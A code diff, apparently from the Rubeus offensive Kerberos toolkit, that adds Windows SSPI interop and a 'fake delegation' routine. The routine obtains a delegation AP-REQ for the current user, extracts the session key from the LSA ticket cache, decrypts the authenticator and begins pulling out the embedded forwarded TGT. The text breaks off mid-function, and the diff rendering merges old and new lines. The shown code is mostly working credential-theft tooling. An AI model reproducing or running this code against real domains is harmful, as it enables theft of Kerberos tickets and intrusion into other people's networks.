pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(ThisSecBuffer));
Marshal.StructureToPtr(ThisSecBuffer, pBuffers, false);
}
public SecBufferDesc(MultipleSecBufferHelper[] secBufferBytesArray)
{
if (secBufferBytesArray == null || secBufferBytesArray.Length == 0)
{
throw new ArgumentException("secBufferBytesArray cannot be null or 0 length");
}
ulVersion = (int)SecBufferType.SECBUFFER_VERSION;
cBuffers = secBufferBytesArray.Length;
//Allocate memory for SecBuffer Array....
pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(SecBuffer)) * cBuffers);
for (int Index = 0; Index < secBufferBytesArray.Length; Index++)
{
//Super hack: Now allocate memory for the individual SecBuffers
//and just copy the bit values to the SecBuffer array!!!
SecBuffer ThisSecBuffer = new SecBuffer(secBufferBytesArray[Index].Buffer, secBufferBytesArray[Index].BufferType);
//We will write out bits in the following order:
//int cbBuffer;
//int BufferType;
//pvBuffer;
//Note that we won't be releasing the memory allocated by ThisSecBuffer until we
//are disposed...
int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer));
Marshal.WriteInt32(pBuffers, CurrentOffset, ThisSecBuffer.cbBuffer);
Marshal.WriteInt32(pBuffers, CurrentOffset + Marshal.SizeOf(ThisSecBuffer.cbBuffer), ThisSecBuffer.BufferType);
Marshal.WriteIntPtr(pBuffers, CurrentOffset + Marshal.SizeOf(ThisSecBuffer.cbBuffer) + Marshal.SizeOf(ThisSecBuffer.BufferType), ThisSecBuffer.pvBuffer);
}
}
public void Dispose()
{
if (pBuffers != IntPtr.Zero)
{
if (cBuffers == 1)
{
SecBuffer ThisSecBuffer = (SecBuffer)Marshal.PtrToStructure(pBuffers, typeof(SecBuffer));
ThisSecBuffer.Dispose();
}
else
{
for (int Index = 0; Index < cBuffers; Index++)
{
//The bits were written out the following order:
//int cbBuffer;
//int BufferType;
//pvBuffer;
//What we need to do here is to grab a hold of the pvBuffer allocate by the individual
//SecBuffer and release it...
int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer));
IntPtr SecBufferpvBuffer = Marshal.ReadIntPtr(pBuffers, CurrentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int)));
Marshal.FreeHGlobal(SecBufferpvBuffer);
}
}
Marshal.FreeHGlobal(pBuffers);
pBuffers = IntPtr.Zero;
}
}
public byte[] GetSecBufferByteArray()
{
byte[] Buffer = null;
if (pBuffers == IntPtr.Zero)
{
throw new InvalidOperationException("Object has already been disposed!!!");
}
if (cBuffers == 1)
{
SecBuffer ThisSecBuffer = (SecBuffer)Marshal.PtrToStructure(pBuffers, typeof(SecBuffer));
if (ThisSecBuffer.cbBuffer > 0)
{
Buffer = new byte[ThisSecBuffer.cbBuffer];
Marshal.Copy(ThisSecBuffer.pvBuffer, Buffer, 0, ThisSecBuffer.cbBuffer);
}
}
else
{
int BytesToAllocate = 0;
for (int Index = 0; Index < cBuffers; Index++)
{
//The bits were written out the following order:
//int cbBuffer;
//int BufferType;
//pvBuffer;
//What we need to do here calculate the total number of bytes we need to copy...
int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer));
BytesToAllocate += Marshal.ReadInt32(pBuffers, CurrentOffset);
}
Buffer = new byte[BytesToAllocate];
for (int Index = 0, BufferIndex = 0; Index < cBuffers; Index++)
{
//The bits were written out the following order:
//int cbBuffer;
//int BufferType;
//pvBuffer;
//Now iterate over the individual buffers and put them together into a
//byte array...
int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer));
int BytesToCopy = Marshal.ReadInt32(pBuffers, CurrentOffset);
IntPtr SecBufferpvBuffer = Marshal.ReadIntPtr(pBuffers, CurrentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int)));
Marshal.Copy(SecBufferpvBuffer, Buffer, BufferIndex, BytesToCopy);
BufferIndex += BytesToCopy;
}
}
return (Buffer);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_INTEGER
{
public uint LowPart;
public int HighPart;
public SECURITY_INTEGER(int dummy)
{
LowPart = 0;
HighPart = 0;
}
};
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_HANDLE
{
public IntPtr LowPart;
public IntPtr HighPart;
public SECURITY_HANDLE(int dummy)
{
LowPart = HighPart = IntPtr.Zero;
}
};
[StructLayout(LayoutKind.Sequential)]
public struct SecPkgContext_Sizes
{
public uint cbMaxToken;
public uint cbMaxSignature;
public uint cbBlockSize;
public uint cbSecurityTrailer;
};
// functions // functions
@ -883,15 +1172,6 @@ namespace Rubeus
[DllImport("advapi32.dll", SetLastError = true)] [DllImport("advapi32.dll", SetLastError = true)]
public static extern bool RevertToSelf(); public static extern bool RevertToSelf();
//[DllImport("advapi32.dll", SetLastError = true)]
//public static extern bool LogonUser(
// string pszUsername,
// string pszDomain,
// string pszPassword,
// int dwLogonType,
// int dwLogonProvider,
// ref IntPtr phToken);
[DllImport("kernel32.dll")] [DllImport("kernel32.dll")]
public static extern uint GetLastError(); public static extern uint GetLastError();
@ -903,20 +1183,6 @@ namespace Rubeus
int TokenInformationLength, int TokenInformationLength,
out int ReturnLength); out int ReturnLength);
//[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
//public static extern bool CreateProcessAsUser(
// IntPtr hToken,
// string lpApplicationName,
// string lpCommandLine,
// ref SECURITY_ATTRIBUTES lpProcessAttributes,
// ref SECURITY_ATTRIBUTES lpThreadAttributes,
// bool bInheritHandles,
// uint dwCreationFlags,
// IntPtr lpEnvironment,
// string lpCurrentDirectory,
// ref STARTUPINFO lpStartupInfo,
// out PROCESS_INFORMATION lpProcessInformation);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CreateProcessWithLogonW( public static extern bool CreateProcessWithLogonW(
String userName, String userName,
@ -953,5 +1219,45 @@ namespace Rubeus
public static extern uint LsaFreeReturnBuffer( public static extern uint LsaFreeReturnBuffer(
IntPtr buffer IntPtr buffer
); );
// adapted from https://www.pinvoke.net/default.aspx/secur32.InitializeSecurityContext
[DllImport("secur32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern int AcquireCredentialsHandle(
string pszPrincipal, //SEC_CHAR*
string pszPackage, //SEC_CHAR* //"Kerberos","NTLM","Negotiative"
int fCredentialUse,
IntPtr PAuthenticationID,//_LUID AuthenticationID,//pvLogonID,//PLUID
IntPtr pAuthData,//PVOID
int pGetKeyFn, //SEC_GET_KEY_FN
IntPtr pvGetKeyArgument, //PVOID
ref SECURITY_HANDLE phCredential, //SecHandle //PCtxtHandle ref
ref SECURITY_INTEGER ptsExpiry //PTimeStamp //TimeStamp ref
);
[DllImport("secur32.dll", SetLastError = true)]
public static extern int InitializeSecurityContext(
ref SECURITY_HANDLE phCredential,//PCredHandle
IntPtr phContext, //PCtxtHandle
string pszTargetName,
int fContextReq,
int Reserved1,
int TargetDataRep,
IntPtr pInput, //PSecBufferDesc SecBufferDesc
int Reserved2,
out SECURITY_HANDLE phNewContext, //PCtxtHandle
out SecBufferDesc pOutput, //PSecBufferDesc SecBufferDesc
out uint pfContextAttr, //managed ulong == 64 bits!!!
out SECURITY_INTEGER ptsExpiry //PTimeStamp
);
[DllImport("secur32.dll")]
public static extern int DeleteSecurityContext(
ref SECURITY_HANDLE phContext
);
[DllImport("secur32.dll", CharSet = CharSet.Auto)]
public static extern int FreeCredentialsHandle(
[In] ref SECURITY_HANDLE phCredential
);
} }
} }

View File

@ -1,8 +1,10 @@
using System; using Asn1;
using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.ComponentModel; using System.ComponentModel;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using System.Security.Principal; using System.Security.Principal;
using System.Text;
using System.Text.RegularExpressions; using System.Text.RegularExpressions;
namespace Rubeus namespace Rubeus
@ -518,7 +520,7 @@ namespace Rubeus
// copy unicode chars to the new location // copy unicode chars to the new location
Interop.CopyMemory(newTargetNameBuffPtr, tName.buffer, tName.MaximumLength); Interop.CopyMemory(newTargetNameBuffPtr, tName.buffer, tName.MaximumLength);
// update the target name buffer ptr // update the target name buffer ptr
Marshal.WriteIntPtr(unmanagedAddr, 24, newTargetNameBuffPtr); Marshal.WriteIntPtr(unmanagedAddr, 24, newTargetNameBuffPtr);
// actually get the data // actually get the data
@ -532,18 +534,62 @@ namespace Rubeus
// parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure // parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure
response = (Interop.KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure((System.IntPtr)responsePointer, typeof(Interop.KERB_RETRIEVE_TKT_RESPONSE)); response = (Interop.KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure((System.IntPtr)responsePointer, typeof(Interop.KERB_RETRIEVE_TKT_RESPONSE));
Interop.KERB_EXTERNAL_NAME serviceNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(Interop.KERB_EXTERNAL_NAME)); string serviceName = "";
string serviceName = Marshal.PtrToStringUni(serviceNameStruct.Names.Buffer, serviceNameStruct.Names.Length / 2).Trim(); if (response.Ticket.ServiceName != IntPtr.Zero)
{
Interop.KERB_EXTERNAL_NAME serviceNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(Interop.KERB_EXTERNAL_NAME));
if (serviceNameStruct.NameCount == 1)
{
string serviceNameStr1 = Marshal.PtrToStringUni(serviceNameStruct.Names[0].Buffer, serviceNameStruct.Names[0].Length / 2).Trim();
serviceName = serviceNameStr1;
}
else if (serviceNameStruct.NameCount == 2)
{
string serviceNameStr1 = Marshal.PtrToStringUni(serviceNameStruct.Names[0].Buffer, serviceNameStruct.Names[0].Length / 2).Trim();
string serviceNameStr2 = Marshal.PtrToStringUni(serviceNameStruct.Names[1].Buffer, serviceNameStruct.Names[1].Length / 2).Trim();
serviceName = String.Format("{0}/{1}", serviceNameStr1, serviceNameStr2);
}
else { }
}
string targetName = ""; string targetName = "";
if (response.Ticket.TargetName != IntPtr.Zero) if (response.Ticket.TargetName != IntPtr.Zero)
{ {
Interop.KERB_EXTERNAL_NAME targetNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.TargetName, typeof(Interop.KERB_EXTERNAL_NAME)); Interop.KERB_EXTERNAL_NAME targetNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.TargetName, typeof(Interop.KERB_EXTERNAL_NAME));
targetName = Marshal.PtrToStringUni(targetNameStruct.Names.Buffer, targetNameStruct.Names.Length / 2).Trim(); if (targetNameStruct.NameCount == 1)
{
string targetNameStr1 = Marshal.PtrToStringUni(targetNameStruct.Names[0].Buffer, targetNameStruct.Names[0].Length / 2).Trim();
targetName = targetNameStr1;
}
else if (targetNameStruct.NameCount == 2)
{
string targetNameStr1 = Marshal.PtrToStringUni(targetNameStruct.Names[0].Buffer, targetNameStruct.Names[0].Length / 2).Trim();
string targetNameStr2 = Marshal.PtrToStringUni(targetNameStruct.Names[1].Buffer, targetNameStruct.Names[1].Length / 2).Trim();
targetName = String.Format("{0}/{1}", targetNameStr1, targetNameStr2);
}
else { }
}
string clientName = "";
if (response.Ticket.ClientName != IntPtr.Zero)
{
Interop.KERB_EXTERNAL_NAME clientNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ClientName, typeof(Interop.KERB_EXTERNAL_NAME));
if (clientNameStruct.NameCount == 1)
{
string clientNameStr1 = Marshal.PtrToStringUni(clientNameStruct.Names[0].Buffer, clientNameStruct.Names[0].Length / 2).Trim();
clientName = clientNameStr1;
}
else if (clientNameStruct.NameCount == 2)
{
string clientNameStr1 = Marshal.PtrToStringUni(clientNameStruct.Names[0].Buffer, clientNameStruct.Names[0].Length / 2).Trim();
string clientNameStr2 = Marshal.PtrToStringUni(clientNameStruct.Names[1].Buffer, clientNameStruct.Names[1].Length / 2).Trim();
clientName = String.Format("{0}@{1}", clientNameStr1, clientNameStr2);
}
else { }
} }
Interop.KERB_EXTERNAL_NAME clientNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ClientName, typeof(Interop.KERB_EXTERNAL_NAME));
string clientName = Marshal.PtrToStringUni(clientNameStruct.Names.Buffer, clientNameStruct.Names.Length / 2).Trim();
string domainName = Marshal.PtrToStringUni(response.Ticket.DomainName.Buffer, response.Ticket.DomainName.Length / 2).Trim(); string domainName = Marshal.PtrToStringUni(response.Ticket.DomainName.Buffer, response.Ticket.DomainName.Length / 2).Trim();
string targetDomainName = Marshal.PtrToStringUni(response.Ticket.TargetDomainName.Buffer, response.Ticket.TargetDomainName.Length / 2).Trim(); string targetDomainName = Marshal.PtrToStringUni(response.Ticket.TargetDomainName.Buffer, response.Ticket.TargetDomainName.Length / 2).Trim();
@ -760,18 +806,62 @@ namespace Rubeus
// parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure // parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure
response = (Interop.KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure((System.IntPtr)responsePointer, typeof(Interop.KERB_RETRIEVE_TKT_RESPONSE)); response = (Interop.KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure((System.IntPtr)responsePointer, typeof(Interop.KERB_RETRIEVE_TKT_RESPONSE));
Interop.KERB_EXTERNAL_NAME serviceNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(Interop.KERB_EXTERNAL_NAME)); string serviceName = "";
string serviceName = Marshal.PtrToStringUni(serviceNameStruct.Names.Buffer, serviceNameStruct.Names.Length / 2).Trim(); if (response.Ticket.ServiceName != IntPtr.Zero)
{
Interop.KERB_EXTERNAL_NAME serviceNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(Interop.KERB_EXTERNAL_NAME));
if (serviceNameStruct.NameCount == 1)
{
string serviceNameStr1 = Marshal.PtrToStringUni(serviceNameStruct.Names[0].Buffer, serviceNameStruct.Names[0].Length / 2).Trim();
serviceName = serviceNameStr1;
}
else if (serviceNameStruct.NameCount == 2)
{
string serviceNameStr1 = Marshal.PtrToStringUni(serviceNameStruct.Names[0].Buffer, serviceNameStruct.Names[0].Length / 2).Trim();
string serviceNameStr2 = Marshal.PtrToStringUni(serviceNameStruct.Names[1].Buffer, serviceNameStruct.Names[1].Length / 2).Trim();
serviceName = String.Format("{0}/{1}", serviceNameStr1, serviceNameStr2);
}
else { }
}
string targetName = ""; string targetName = "";
if (response.Ticket.TargetName != IntPtr.Zero) if (response.Ticket.TargetName != IntPtr.Zero)
{ {
Interop.KERB_EXTERNAL_NAME targetNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.TargetName, typeof(Interop.KERB_EXTERNAL_NAME)); Interop.KERB_EXTERNAL_NAME targetNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.TargetName, typeof(Interop.KERB_EXTERNAL_NAME));
targetName = Marshal.PtrToStringUni(targetNameStruct.Names.Buffer, targetNameStruct.Names.Length / 2).Trim(); if (targetNameStruct.NameCount == 1)
{
string targetNameStr1 = Marshal.PtrToStringUni(targetNameStruct.Names[0].Buffer, targetNameStruct.Names[0].Length / 2).Trim();
targetName = targetNameStr1;
}
else if (targetNameStruct.NameCount == 2)
{
string targetNameStr1 = Marshal.PtrToStringUni(targetNameStruct.Names[0].Buffer, targetNameStruct.Names[0].Length / 2).Trim();
string targetNameStr2 = Marshal.PtrToStringUni(targetNameStruct.Names[1].Buffer, targetNameStruct.Names[1].Length / 2).Trim();
targetName = String.Format("{0}/{1}", targetNameStr1, targetNameStr2);
}
else { }
}
string clientName = "";
if (response.Ticket.ClientName != IntPtr.Zero)
{
Interop.KERB_EXTERNAL_NAME clientNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ClientName, typeof(Interop.KERB_EXTERNAL_NAME));
if (clientNameStruct.NameCount == 1)
{
string clientNameStr1 = Marshal.PtrToStringUni(clientNameStruct.Names[0].Buffer, clientNameStruct.Names[0].Length / 2).Trim();
clientName = clientNameStr1;
}
else if (clientNameStruct.NameCount == 2)
{
string clientNameStr1 = Marshal.PtrToStringUni(clientNameStruct.Names[0].Buffer, clientNameStruct.Names[0].Length / 2).Trim();
string clientNameStr2 = Marshal.PtrToStringUni(clientNameStruct.Names[1].Buffer, clientNameStruct.Names[1].Length / 2).Trim();
clientName = String.Format("{0}@{1}", clientNameStr1, clientNameStr2);
}
else { }
} }
Interop.KERB_EXTERNAL_NAME clientNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ClientName, typeof(Interop.KERB_EXTERNAL_NAME));
string clientName = Marshal.PtrToStringUni(clientNameStruct.Names.Buffer, clientNameStruct.Names.Length / 2).Trim();
string domainName = Marshal.PtrToStringUni(response.Ticket.DomainName.Buffer, response.Ticket.DomainName.Length / 2).Trim(); string domainName = Marshal.PtrToStringUni(response.Ticket.DomainName.Buffer, response.Ticket.DomainName.Length / 2).Trim();
string targetDomainName = Marshal.PtrToStringUni(response.Ticket.TargetDomainName.Buffer, response.Ticket.TargetDomainName.Length / 2).Trim(); string targetDomainName = Marshal.PtrToStringUni(response.Ticket.TargetDomainName.Buffer, response.Ticket.TargetDomainName.Length / 2).Trim();
@ -1128,5 +1218,358 @@ namespace Rubeus
Console.WriteLine(" KeyType : {0}", keyType); Console.WriteLine(" KeyType : {0}", keyType);
Console.WriteLine(" Base64(key) : {0}\r\n", b64Key); Console.WriteLine(" Base64(key) : {0}\r\n", b64Key);
} }
public static byte[] GetEncryptionKeyFromCache(string target, Interop.KERB_ETYPE etype)
{
// gets the cached session key for a given service ticket
// used by RequestFakeDelegTicket
int authPack;
IntPtr lsaHandle;
int retCode;
string name = "kerberos";
byte[] returnedSessionKey;
Interop.LSA_STRING_IN LSAString;
LSAString.Length = (ushort)name.Length;
LSAString.MaximumLength = (ushort)(name.Length + 1);
LSAString.Buffer = name;
retCode = Interop.LsaConnectUntrusted(out lsaHandle);
retCode = Interop.LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out authPack);
int returnBufferLength = 0;
int protocalStatus = 0;
IntPtr responsePointer = IntPtr.Zero;
Interop.KERB_RETRIEVE_TKT_REQUEST request = new Interop.KERB_RETRIEVE_TKT_REQUEST();
Interop.KERB_RETRIEVE_TKT_RESPONSE response = new Interop.KERB_RETRIEVE_TKT_RESPONSE();
// signal that we want encoded .kirbi's returned
request.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage;
request.CacheOptions = (uint)Interop.KERB_CACHE_OPTIONS.KERB_RETRIEVE_TICKET_USE_CACHE_ONLY;
request.EncryptionType = (int)etype;
// target SPN to fake delegation for
Interop.UNICODE_STRING tName = new Interop.UNICODE_STRING(target);
request.TargetName = tName;
// the following is due to the wonky way LsaCallAuthenticationPackage wants the KERB_RETRIEVE_TKT_REQUEST
// for KerbRetrieveEncodedTicketMessages
// create a new unmanaged struct of size KERB_RETRIEVE_TKT_REQUEST + target name max len
int structSize = Marshal.SizeOf(typeof(Interop.KERB_RETRIEVE_TKT_REQUEST));
int newStructSize = structSize + tName.MaximumLength;
IntPtr unmanagedAddr = Marshal.AllocHGlobal(newStructSize);
// marshal the struct from a managed object to an unmanaged block of memory.
Marshal.StructureToPtr(request, unmanagedAddr, false);
// set tName pointer to end of KERB_RETRIEVE_TKT_REQUEST
IntPtr newTargetNameBuffPtr = (IntPtr)((long)(unmanagedAddr.ToInt64() + (long)structSize));
// copy unicode chars to the new location
Interop.CopyMemory(newTargetNameBuffPtr, tName.buffer, tName.MaximumLength);
// update the target name buffer ptr
Marshal.WriteIntPtr(unmanagedAddr, 24, newTargetNameBuffPtr);
// actually get the data
retCode = Interop.LsaCallAuthenticationPackage(lsaHandle, authPack, unmanagedAddr, newStructSize, out responsePointer, out returnBufferLength, out protocalStatus);
// translate the LSA error (if any) to a Windows error
uint winError = Interop.LsaNtStatusToWinError((uint)protocalStatus);
if ((retCode == 0) && ((uint)winError == 0) && (returnBufferLength != 0))
{
// parse the returned pointer into our initial KERB_RETRIEVE_TKT_RESPONSE structure
response = (Interop.KERB_RETRIEVE_TKT_RESPONSE)Marshal.PtrToStructure((System.IntPtr)responsePointer, typeof(Interop.KERB_RETRIEVE_TKT_RESPONSE));
// extract the session key
Interop.KERB_ETYPE sessionKeyType = (Interop.KERB_ETYPE)response.Ticket.SessionKey.KeyType;
Int32 sessionKeyLength = response.Ticket.SessionKey.Length;
byte[] sessionKey = new byte[sessionKeyLength];
Marshal.Copy(response.Ticket.SessionKey.Value, sessionKey, 0, sessionKeyLength);
//string serviceName = "";
//if (response.Ticket.ServiceName != IntPtr.Zero)
//{
// Interop.KERB_EXTERNAL_NAME serviceNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ServiceName, typeof(Interop.KERB_EXTERNAL_NAME));
// if (serviceNameStruct.NameCount == 1)
// {
// string serviceNameStr1 = Marshal.PtrToStringUni(serviceNameStruct.Names[0].Buffer, serviceNameStruct.Names[0].Length / 2).Trim();
// serviceName = serviceNameStr1;
// }
// else if (serviceNameStruct.NameCount == 2)
// {
// string serviceNameStr1 = Marshal.PtrToStringUni(serviceNameStruct.Names[0].Buffer, serviceNameStruct.Names[0].Length / 2).Trim();
// string serviceNameStr2 = Marshal.PtrToStringUni(serviceNameStruct.Names[1].Buffer, serviceNameStruct.Names[1].Length / 2).Trim();
// serviceName = String.Format("{0}/{1}", serviceNameStr1, serviceNameStr2);
// }
// else { }
//}
//string targetName = "";
//if (response.Ticket.TargetName != IntPtr.Zero)
//{
// Interop.KERB_EXTERNAL_NAME targetNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.TargetName, typeof(Interop.KERB_EXTERNAL_NAME));
// if (targetNameStruct.NameCount == 1)
// {
// string targetNameStr1 = Marshal.PtrToStringUni(targetNameStruct.Names[0].Buffer, targetNameStruct.Names[0].Length / 2).Trim();
// targetName = targetNameStr1;
// }
// else if (targetNameStruct.NameCount == 2)
// {
// string targetNameStr1 = Marshal.PtrToStringUni(targetNameStruct.Names[0].Buffer, targetNameStruct.Names[0].Length / 2).Trim();
// string targetNameStr2 = Marshal.PtrToStringUni(targetNameStruct.Names[1].Buffer, targetNameStruct.Names[1].Length / 2).Trim();
// targetName = String.Format("{0}/{1}", targetNameStr1, targetNameStr2);
// }
// else { }
//}
//string clientName = "";
//if (response.Ticket.ClientName != IntPtr.Zero)
//{
// Interop.KERB_EXTERNAL_NAME clientNameStruct = (Interop.KERB_EXTERNAL_NAME)Marshal.PtrToStructure(response.Ticket.ClientName, typeof(Interop.KERB_EXTERNAL_NAME));
// if (clientNameStruct.NameCount == 1)
// {
// string clientNameStr1 = Marshal.PtrToStringUni(clientNameStruct.Names[0].Buffer, clientNameStruct.Names[0].Length / 2).Trim();
// clientName = clientNameStr1;
// }
// else if (clientNameStruct.NameCount == 2)
// {
// string clientNameStr1 = Marshal.PtrToStringUni(clientNameStruct.Names[0].Buffer, clientNameStruct.Names[0].Length / 2).Trim();
// string clientNameStr2 = Marshal.PtrToStringUni(clientNameStruct.Names[1].Buffer, clientNameStruct.Names[1].Length / 2).Trim();
// clientName = String.Format("{0}@{1}", clientNameStr1, clientNameStr2);
// }
// else { }
//}
//Console.WriteLine("ServiceName: {0}", serviceName);
//Console.WriteLine("TargetName: {0}", targetName);
//Console.WriteLine("ClientName: {0}", clientName);
returnedSessionKey = sessionKey;
}
else
{
string errorMessage = new Win32Exception((int)winError).Message;
Console.WriteLine("\r\n[X] Error {0} calling LsaCallAuthenticationPackage() for target \"{1}\" : {2}", winError, target, errorMessage);
returnedSessionKey = null;
}
// clean up
Interop.LsaFreeReturnBuffer(responsePointer);
Marshal.FreeHGlobal(unmanagedAddr);
// disconnect from LSA
Interop.LsaDeregisterLogonProcess(lsaHandle);
return returnedSessionKey;
}
public static void RequestFakeDelegTicket(string targetSPN = "")
{
Console.WriteLine("\r\n[*] Action: Request Fake Delegation TGT (current user)\r\n");
if (String.IsNullOrEmpty(targetSPN))
{
Console.WriteLine("[*] No target SPN specified, attempting to build 'HOST/dc.domain.com'");
string domainController = Networking.GetDCName();
if(String.IsNullOrEmpty(domainController))
{
Console.WriteLine("[X] Error retrieving current domain controller");
return;
}
targetSPN = String.Format("HOST/{0}", domainController);
}
Interop.SECURITY_HANDLE phCredential = new Interop.SECURITY_HANDLE();
Interop.SECURITY_INTEGER ptsExpiry = new Interop.SECURITY_INTEGER();
int SECPKG_CRED_OUTBOUND = 2;
// first get a handle to the Kerberos package
int status = Interop.AcquireCredentialsHandle(null, "Kerberos", SECPKG_CRED_OUTBOUND, IntPtr.Zero, IntPtr.Zero, 0, IntPtr.Zero, ref phCredential, ref ptsExpiry);
if (status == 0)
{
Interop.SecBufferDesc ClientToken = new Interop.SecBufferDesc(12288);
Interop.SECURITY_HANDLE ClientContext = new Interop.SECURITY_HANDLE(0);
uint ClientContextAttributes = 0;
Interop.SECURITY_INTEGER ClientLifeTime = new Interop.SECURITY_INTEGER(0);
int SECURITY_NATIVE_DREP = 0x00000010;
int SEC_E_OK = 0x00000000;
int SEC_I_CONTINUE_NEEDED = 0x00090312;
Console.WriteLine("[*] Initializing Kerberos GSS-API w/ fake delegation for target '{0}'", targetSPN);
// now initialize the fake delegate ticket for the specified targetname (default HOST/DC.domain.com)
int status2 = Interop.InitializeSecurityContext(ref phCredential,
IntPtr.Zero,
targetSPN, // null string pszTargetName,
(int)(Interop.ISC_REQ.ALLOCATE_MEMORY | Interop.ISC_REQ.DELEGATE | Interop.ISC_REQ.MUTUAL_AUTH),
0, //int Reserved1,
SECURITY_NATIVE_DREP, //int TargetDataRep
IntPtr.Zero, //Always zero first time around...
0, //int Reserved2,
out ClientContext, //pHandle CtxtHandle = SecHandle
out ClientToken, //ref SecBufferDesc pOutput, //PSecBufferDesc
out ClientContextAttributes, //ref int pfContextAttr,
out ClientLifeTime); //ref IntPtr ptsExpiry ); //PTimeStamp
if ((status2 == SEC_E_OK) || (status2 == SEC_I_CONTINUE_NEEDED))
{
Console.WriteLine("[+] Kerberos GSS-API initialization success!");
if ((ClientContextAttributes & (uint)Interop.ISC_REQ.DELEGATE) == 1)
{
Console.WriteLine("[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.");
// the fake delegate AP-REQ ticket is now in the cache!
// the Kerberos OID to search for in the output stream
// from Kekeo -> https://github.com/gentilkiwi/kekeo/blob/master/kekeo/modules/kuhl_m_tgt.c#L329-L345
byte[] KeberosV5 = { 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x12, 0x01, 0x02, 0x02 }; // 1.2.840.113554.1.2.2
byte[] ClientTokenArray = ClientToken.GetSecBufferByteArray();
int index = Helpers.SearchBytePattern(KeberosV5, ClientTokenArray);
if (index > 0)
{
int startIndex = index += KeberosV5.Length;
// check if the first two bytes == TOK_ID_KRB_AP_REQ
if ((ClientTokenArray[startIndex] == 1) && (ClientTokenArray[startIndex+1] == 0))
{
Console.WriteLine("[*] Found the AP-REQ delegation ticket in the GSS-API output.");
startIndex += 2;
byte[] apReqArray = new byte[ClientTokenArray.Length-startIndex];
Buffer.BlockCopy(ClientTokenArray, startIndex, apReqArray, 0, apReqArray.Length);
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt asn_AP_REQ = AsnElt.Decode(apReqArray, false);
foreach(AsnElt elt in asn_AP_REQ.Sub[0].Sub)
{
if (elt.TagValue == 4)
{
// build the encrypted authenticator
EncryptedData encAuthenticator = new EncryptedData(elt.Sub[0]);
Interop.KERB_ETYPE authenticatorEtype = (Interop.KERB_ETYPE)encAuthenticator.etype;
Console.WriteLine("[*] Authenticator etype: {0}", authenticatorEtype);
// grab the service ticket session key from the local cache
byte[] key = GetEncryptionKeyFromCache(targetSPN, authenticatorEtype);
if (key != null)
{
string base64SessionKey = Convert.ToBase64String(key);
Console.WriteLine("[*] Extracted the service ticket session key from the ticket cache: {0}", base64SessionKey);
// KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR == 11 (https://github.com/gentilkiwi/kekeo/blob/fd852374dfcfae4ddf5e19e4d8eeb03833f08963/modules/asn1/kull_m_kerberos_asn1.h)
byte[] rawBytes = Crypto.KerberosDecrypt(authenticatorEtype, 11, key, encAuthenticator.cipher);
AsnElt asnAuthenticator = AsnElt.Decode(rawBytes, false);
foreach (AsnElt elt2 in asnAuthenticator.Sub[0].Sub)
{
if (elt2.TagValue == 3)
{
Console.WriteLine("[+] Successfully decrypted the authenticator");
int cksumtype = Convert.ToInt32(elt2.Sub[0].Sub[0].Sub[0].GetInteger());
// check if cksumtype == GSS_CHECKSUM_TYPE
if (cksumtype == 0x8003)
{
byte[] checksumBytes = elt2.Sub[0].Sub[1].Sub[0].GetOctetString();
// check if the flags include GSS_C_DELEG_FLAG
if ((checksumBytes[20] & 1) == 1)
{
ushort dLen = BitConverter.ToUInt16(checksumBytes, 26);
byte[] krbCredBytes = new byte[dLen];
// copy out the krbCredBytes from the checksum structure
Buffer.BlockCopy(checksumBytes, 28, krbCredBytes, 0, dLen);
AsnElt asn_KRB_CRED = AsnElt.Decode(krbCredBytes, false);
Ticket ticket = null;
